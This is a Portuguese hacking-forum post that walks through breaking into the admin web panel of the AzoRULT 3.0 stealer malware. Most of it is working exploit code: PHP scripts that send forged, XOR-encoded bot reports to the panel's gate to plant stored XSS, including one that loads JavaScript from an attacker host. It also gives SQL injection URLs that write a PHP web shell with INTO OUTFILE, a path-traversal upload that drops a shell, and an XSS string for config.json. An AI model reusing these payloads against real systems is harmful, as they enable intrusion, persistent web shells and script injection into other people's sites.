COVIL HACKER

, ! .


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Quebrando o AzoRULT 3.0 [Malware WebPanel]


Quebrando o AzoRULT 3.0 [Malware WebPanel]

1 2 2

1

Meus queridos Cyber ​​Souls, agora vou contar uma história fascinante sobre como o Maior Azorult quebrou.
Como muitas pessoas devem saber, sequestrar logs do painel de administração de versões anteriores era estupidamente fácil - encontre o endereço do portão e você encontrará todo o resto. Um pouco mais tarde, XSS desajeitado quebrou o layout, etc.
Mas para análise, o Maior, secretamente, sob o manto da noite, recebeu a versão 3.0, onde a maioria dos erros usados ​​​​ativamente por vários noobs estúpidos (e Ilita, é claro) já estavam fechados.
Vamos começar.

XSS via portão. Função ShowHomePage()

, linha 183 ( gate.php ):

PHP:

$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> ".$tmp[$i]['p_soft_name'];

Embora a variável $tmp[$i]['p_soft_name'] tenha sido tratada anteriormente com htmlspecialchars , as aspas simples foram omitidas. Em teoria, um ataque XSS poderia ser realizado.

POC:
PHP:

<?php
/////////////
// Gate address
$url="http://azorult30/gate.php";
//////////////
///
/// Do not touch further - magic
///
$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">123123|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
1|x onerror=alert(1337) |http://anonchik.com|tobi|pizda|admin|pass\r\n
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";

$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
  $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  $j++;
  if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";

Alerta habitual, mas funcionou como um relógio. Mas e se quisermos executar nosso próprio js (você não pode roubar cookies - o sinalizador httponly já estava lá)? A tarefa foi complicada pelo fato de haver um limite para o número de caracteres neste campo. E como resultado de longas tentativas, tal monstro nasceu:

CÓDIGO:

<?php
/////////////
// Domain with your script
$xss="http://attacker/xss.js";
// Gate address
$url="http://azorult30/gate.php";
//////////////
///
/// Do not touch further - magic
///

//$js_payload = base64_encode('t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="'.$xss.'";t.appendChild(n);');
$js_payload = base64_encode("alert('This is xss with no lenght limit.'); ");
$js_payload = str_replace("=","",$js_payload);

$lol = true;
$j=0; $result=array();
for($i=0;$i<=strlen($js_payload)+7;$i=$i+7){
    $kek = "1234567890abcdefghijklmnpoABCDEFGHIJKLMNPO";
    if(!empty(substr($js_payload,$i,7))){
        if($lol){
            $result[] = $kek[$j]." onerror=a=/".substr($js_payload,$i,7)."/.source ";
            $ lol = false;
        }else{
            $result[] = $kek[$j]." onerror=a%2B=/".substr($js_payload,$i,7)."/.source ";
        }
    }
    $j++;
}
$result[] = "X onerror=b%3DBase64.decode(a) ";
$result[] = "../Z onerror=eval(b) ";
$n="";
$i=count($result)+3;
foreach($result as $l){
    while($i>$k){
    $n.="1|".$l."|http://anonchik.com|tobi|pizda|admin|pass\r\n";
    $k++;
    }
    $k=0;
    $i--;
}

$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
".$n."
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid.">
</file".$guid.">";

$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
  $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  $j++;
  if($j>($keylen-1)) $j=0;
}
return $data;
}
httpPost($url, $data);
echo $url." injected!";

Surpreendentemente, funcionou, embora nem sempre (FF às vezes, Chrome às vezes, Opera/IE como um relógio). No painel de administração, parecia extremamente divertido:

Mas ainda funcionou) Se você carregar seu js, todas essas obscenidades podem ser removidas e fazer barulho.

Injeção de SQL dentro das

funções ShowReportsPage () e ShowPasswordsPage() do painel de administração .
Parâmetros vulneráveis ​​são datefrom , dateup , search , countries , cookiesearch .

Exemplos:
CÓDIGO:
/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&countries=KEK') union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=reports&cookiesearch=kek','')union select user(),database(),3,4,5,6,7,8,9,10 +--+
/index.php?page=passwords&dateup=1984-04-01' union select user(),database(),3,4,5 +--+
/index.php?page=passwords&search=123', '123') union select user(),database(),3,4,5+--+

Preenchendo o shell:
verifique se você tem permissões (file_priv=Y)

CÓDIGO:

/index.php?page=passwords&search=-123', '123') union select null,null,null,null,file_priv from mysql.user+--+

Preenchendo a mini concha

CÓDIGO:
/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN!';?>",null,null,null INTO OUTFILE '/fullpath/to/azor30/1.php'+--+

Houve mais algumas injeções, mas, veja bem, acabou bem.

Nomes arbitrários de relatórios e substituição de relatórios

A variável filename não foi filtrada o suficiente em gate.php . Qualquer nome poderia ser dado. No php 5.2, isso faria com que o shell fosse preenchido com nullbyte. Mas nas versões mais recentes do php, também era possível fazer upload de um shell - se você fizer upload do arquivo 1.php.zip e o Apache não estiver configurado corretamente, o arquivo será executado como um script php.

CÓDIGO:

<?php
/////////////
// Gate address
$url="http://azorult30/gate.php";
$filename = "/../../q.php";//Filling shell on apache curves
//$filename = "/../../q.php\0";//Filling the shell on php 5.2
//////////////
///
/// Do not touch further - magic
///

$guid = "EDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851";
$payload ="reportdata=<info".$guid.">".$filename."|6.1|Windows 7 Ultimate|x64| User-PC|Admin|0|0|0|0|E|A</info".$guid.">
<pwds".$guid.">
1|kek|http://anonchik.com|tobi|pizda|admin|pass\r\n
</pwds".$guid.">
<coks".$guid.">
</coks".$guid.">
<list".$guid.">
</list".$guid.">
<file".$guid."><?php echo 'PWNED!';>
</file".$guid.">";

$xorkey = chr(254).chr(41).chr(54);
$data=CB_XORm($payload, $xorkey, 1024*512);
function httpPost($url, $data){
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR: '.rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255)));
    $response = curl_exec($curl);
    curl_close($curl);
    return $response;
}

function CB_XORm($data, $key, $max){
$datalen=strlen($data);
$keylen=strlen($key);
if ($datalen>=$max) $datalen=$max;
$j=0;
for($i=0;$i<$datalen; $i++){
  $data[$i] = chr(ord($data[$i])^ord($key[$j]));
  $j++;
  if($j>($keylen-1)) $j=0;
}
return $data;
}
$otvet = httpPost($url, $data);
echo $url." injected!<br>";
echo $otvet;

Como recurso - aquele que roubou os logs anteriormente pode substituir os existentes especificando a data antiga e o nome do relatório como o nome do arquivo.

Excluindo arquivos

Se você obtiver acesso ao banco de dados de qualquer maneira (phpmyadmin, adminer, conexão direta), alterando o valor de reports.filename na tabela (por exemplo ./../files/index.html ), você pode exclua qualquer arquivo no host (exclua o relatório no qual o valor foi alterado e clique em EmptyTrash).

XSS ativo no config.json O config.json

arquivo era legível por qualquer pessoa. Riscos - bajuladores AB e até xs para quem baixou o arquivo ("DAE:"), qualquer um poderia analisar as regras do ladrão, o que também não é muito bom. Bem, além disso, havia XSS. Basta salvar em qualquer um dos campos do capturador de arquivos:

CÓDIGO:

"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document.createElement("script");n.src="xss.js";t.appendChild(n);'><span "

Claro, em vez de xss.js (que foi usado nos testes), você pode carregar o código js do seu host.

Também havia CSRFs engraçados, mas isso geralmente é interessante apenas para galos de chapéu branco (ou o autor do código, hehe), então não os descrevi.

0

2


» COVIL HACKER » Vulnerabilidades de aplicativos da Web » Quebrando o AzoRULT 3.0 [Malware WebPanel]


|